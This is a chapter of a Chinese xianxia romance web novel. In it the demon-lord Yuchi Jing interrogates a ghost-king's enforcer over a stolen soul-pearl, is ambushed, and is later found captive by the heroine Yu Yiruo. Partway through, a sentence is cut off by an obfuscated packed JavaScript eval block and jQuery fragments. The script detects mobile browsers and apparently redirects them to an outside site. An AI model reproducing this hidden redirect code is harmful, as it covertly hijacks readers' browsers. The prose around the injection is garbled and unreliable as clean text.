22. 追问

作品:《失手伤害反派后

    “尉迟景。”瞳仁骤然一缩,身子骨无力,承祁早已是砧板上的鱼肉,看着眼前的人,哆哆嗦嗦道:“你想干什么?”


    红袍少年弯唇冷笑,收回剑,一脚踏上床沿,盯着他,懒洋洋道:“倒是有手段,一时间都疏忽了,有人替你办事……”


    “是人族,不是……”


    “拿走了我的东西,该怎么用刑呢?”尉迟景缓缓凝出赤色剑矢,“咚”的一声,逼至承祁眼前,两只瞳仁几欲迸出,惊恐道:“不,我没拿,那不是你的,上界神灵谁都可以拿。”


    “我说是我的就是我的,东西呢?”尉迟景冷笑道:“在哪?”


    早就知道尉迟景的修为无人能及,等真真见到他通身摄人的力量,承祁只觉得,世人的传闻过于夸小,但,若是他的修为当真到达巅峰状态,自己又如何能够逃脱他的手掌心,只怕恰才就已经死了。


    而且,他定了定神,面前的赤色剑矢由无命冥火所化,但上头的灵气分明有所不对劲的地方。


    再结合死神不同他争夺死人魂灵,反而瞄准“亓”的魂灵,固然可以用灵气一方多一方少,不值当来解释,但只怕他心中所猜测的,更具有说服力。


    思及此,承祁看向他,“你变弱了?而且会死?”


    “会死?”尉迟景满不在乎地笑道:“现在该担心的人是你。”


    同他的猜想一致,承祁底气十足起来,手肘撑着床沿,看向他,恶狠狠道:“你若是杀了我,‘亓’的魂灵你想也别想,你瞒得很好,但遗漏了一点。”


    “哦?说说。”


    “你猜,若是那些宗派之人知晓了,你会不会死得比我还惨?”承祁慢慢地从怀中掏出一个纸鹤,把玩在另一只手上,


    “这个纸鹤可是能自动将人的谈话记录进去,若将我们的对话流传到修仙界,你说。”咧开一口血牙,“他们会怎么折磨你?”


    “纸鹤?”尉迟景抬了抬眼,笑道:“你怕是不知道这东西是谁弄出来的?我不与你废话,把东西交出来。”


    “亓”的魂灵惯来狡猾,眼前人也料定若非他甘愿交出,魂灵又将蹿到别处,可魂灵早已被袁微拿走,承祁咽了咽口中的血痰,凝着他,捏着手中唯一的筹码,“你放我走,我就交出给你。”


    “这样啊。”尉迟景收回剑,往后退至三步远,笑了笑,又将四周环视几圈,顿了片刻,勾勾手指,不起眼的一角,“咻”的撩起帘幔。


    里面瑟缩着一个女子,正是袁微无疑,眼见自己的存在被发现,此刻脑海中除了惊恐还尚存一丝庆幸,对方是尉迟景,是他们家的客人,是徐展的好友,他定然会放自己一码,


    看着对方的神情,袁微胆子大了些,走到他面前,讨好道:“景公子,正好你来了,我是被他骗过来的,你能不能带我走,然后杀了他。”


    “袁微!”承祁将身子一翻,骨碌地滚下来,伸出唯一可以用的手,焦急道:“快把东西给我,袁微,把东西给我,不要给他。”


    “不,你在说什么,我不知道。”袁微紧紧护着怀中,“我和他不是一起的,不是一起的,景公子。”


    说着就去拉尉迟景,对方见她扑过来,后退七八步,转身看向地上的承祁,笑道:“你们当我傻?”


    捏着纸鹤的手微微发抖,充血的瞳仁凝着他,承祁不甘道:“我与你无冤无仇,而且我是鬼王的人,你动了我鬼王一定不会放过你的,我是鬼王的护法。”


    “你是鬼王的人?”


    “我是鬼王的护法!”


    “你这只老鼠属实不算安分,你猜。”尉迟景碾上他的腕骨,只听骨头断裂的“吱嘎”声传来,纸鹤早已落在尉迟景手中,


    “我捣腾的东西,用来对付我?你未免太过自信。”


    发明纸鹤的奇才是他?承祁一抖,头上飘飘洒洒落下几片灰烬,正是被毁的纸鹤,此刻毫无半点退路的他,


    开始真正地害怕,“大人,放我一码,我将一切都告诉你。”


    “一切?包括你易主的事?”


    承祁呼吸一窒。


    “不过这种东西,我不爱听,你自己讲给鬼王听,我在乎的是魂灵。”


    说罢,转头看向门口正欲逃出去的袁微,挑眉,“那个谁?拿了我的东西就想走?”


    “没有,公子,我只是开个门通风。”袁微咽了咽唾沫,视线不住地往外头瞟。


    尉迟景抬起脚,居高临下地看着地上面目全非的承祁,


    “我不杀你,但前提是立马溜回阎罗殿,和你们那个什么主子,说说我是如何得凶残,描述得越夸张,越脱离现实越好,明白吗?”


    听到自己有退路,承祁连连点头,反倒是在旁的袁微僵直着,不知如何是好,正欲开口,尉迟景朝她走来,“把东西给我。”


    “景公子,东西什么的,我不知道,我真不知道,我就是被他哄骗过来的,而且,你来这是为了带我回去的吗?我爹应该找我找得焦急了。”


    袁微害怕,但心里残存着眼前人是来接自己的念头,见他不说话,猜想就更有立足点,


    “景公子,我就知道你们都是好人,我是袁微啊,是我,能不能带我回去……”


    “你是谁跟我有什么关系?”尉迟景站定,挑眉道,


    大手一挥,罡风滚过,直直将袁微拍到壁上,甫一落下,金光灿灿的珠子也滚将出来。


    顷刻间,白光填充昏鸦的闺房,四面八方不知何时涌了一波黑衣人上来,


    就在尉迟景要将珠子收入囊中时,头顶猝地盖下天罗地网,就这么仅差分寸,珠子飞走,尉迟景也被抓住。


    ……


    楼道内,好容易脱身的余以若正朝四处搜寻着,刚才听到楼上闹出颇大的动静,姑娘们都匆匆忙忙下楼,


    虽不知上面究竟发生了什么,但毕竟来了一趟,说不定尉迟景就在上面。


    地上的东西杂七杂八,她们跑得急甚至连珠钗什么的都掉了,余以若略略地看了两眼,便转身往深处走去,


    甫一拐弯,杀气从肩侧袭来,却恰好被她完美避开,正想讨个分说,身后又冒上几波黑衣人,无一例外都是冲着她来的,


    一人难敌众手,几阵交战下,余以若便被几人挟持住。


    “你们是谁?为什么要抓我?”余以若不明所以,


    见成群的黑衣人都是一贯的衣着配饰,料定是有组织有预谋,但为何来抓她,她无非假冒了个男子溜上楼,也罪不至此。


    黑衣人不说话,余以若再次发问,“你们的主子是谁?你们怎知有没有抓错人,我就一个上来玩的客人而已,你们这么对我,是不想做生意了吗?”


    “安静点!”黑衣人冷脸道:“再吵别怪我不客气!”


    难道?余以若心里头咯噔一跳,小时候也听师父讲过,说山下的花楼什么的最危险了,她们哄骗无家可归的女子,抓进去接客,而她甚至都不是被


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477714|169447||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哄骗进去的,是她自己光明正大走进去的,这下好了,真的会被大鸟笑死她……


    正想着,黑衣人把她一甩,就这么落到了地上,余以若怔怔地抬起脑袋,环视一圈,对上的却不是恶毒吃人的老鸨,而是尉迟景?


    “你怎么在这?”余以若看他靠坐在一角,浑身脏兮兮的,脸色也不太好看,连回她的话也难听得很,“我在哪与你何干?”


    “不是,我就是在想着吗?你不是进来玩了吗?难不成是不行,被她们嫌弃,所以被丢到这里来了?”余以若边挪,边试探性地问道。


    显然,没怎么过脑子的话,一下子就激怒了他,尉迟景阴恻恻道:“绿衣同修?搬弄是非,颠倒黑白也是一把好手,只不过。”


    意味深长地看向她,“没想到,你的癖好还挺别致。”


    “什么癖好?”余以若自来在山上,对山下的事了解得少,都是从师长那里听来的闲言碎语,听他这么一说,忍不住好奇,“你说的是什么意思,能不能解释一下。”


    “………”尉迟景哑口无言。


    “不过,你受伤了?”余以若看他的手无力地垂在身侧,地上若隐若现漫出赤红的血,幸灾乐祸起来,


    “整日恨不得我死,还捅我刀子,又把我的银子弄掉,这下好了,你也差不多的报应来了,真是大快人心,没想到啊,没想到。”


    说着又去看他的表情,没有什么动作,遂胆子更大了起来,


    “竟然也能落到别人手中,我还以为死神有多大能耐呢,竟然受伤,连我一个小仙子都比不过,也就如此如此。”


    “绿衣同修?”尉迟景突然开口,分明是笑着说,但余以若感觉,若不是他的手动不了,只怕下一秒就会扑过来掐死她,“要不比一比?”


    “好啊。”余以若一边撸起袖子,一边亮出自己的青羽剑,


    果真,青羽剑一出鞘,尉迟景眸中的烈火就弱了下去,看向她,“你想借机杀我?”


    “杀你?你怎么知道,我就是想杀你。”余以若威胁地比划着剑法,但见他神情又黯淡了不少,就连垂下的朱红发带也了无光彩,


    遂叹口气,老老实实地收剑入鞘,在他面前坐定,“罢了,我还不至于是这么个乘人之危的小人。”


    尉迟景一抬头,愣了愣,但又听她絮絮叨叨地道:“你不也没杀我嘛,礼尚往来,我也就恐吓恐吓你,


    杀你?我脑子还是正常的,不至于胡乱给自己扣没必要的弑神帽子,不过我好奇的是你怎么被丢这来了?难不成真的不行?”


    俊美的脸“唰”的阴沉下来,冷恻恻地看着她,“绿衣同修对我这么好奇,难不成是对我存了别的心思?”


    “别的心思?这倒没有,不就是好奇嘛,看你一个传闻多么多么好贞洁的人,没想到……”


    思及此,余以若恶寒地瑟缩了下脖子,忍不住道:“果真人靠衣装马靠鞍,什么都得自己亲眼见到的实在,瞧着人模人样,没想到竟是个浪荡子。”


    “你胡说八道什么呢!”尉迟景怒道:“我没有!我来这里不是为了享乐!我是为了……为了……”


    “为了什么?”余以若眨巴眨巴眼,她当然知道这人是为了别的东西而来,而她的目的就是为了撬出背后的真相。


    看着眼前人被她逼问得脸色通红,一瞬间,莫名觉得自己的行为属实过于无礼了些。


    正想开口,无人在意的一角,响起几声冷笑。